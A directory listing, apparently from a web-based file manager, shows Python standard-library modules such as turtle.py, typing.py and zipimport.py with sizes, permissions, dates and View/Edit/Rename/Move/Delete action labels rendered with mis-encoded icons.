tty.py
2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
turtle.py
142.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
types.py
10.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
typing.py
114.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
uu.py
7.2K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
uuid.py
29K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
warnings.py
21.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
wave.py
22.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
weakref.py
21K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
webbrowser.py
23.6K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
xdrlib.py
5.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
zipapp.py
7.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
zipimport.py
27.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del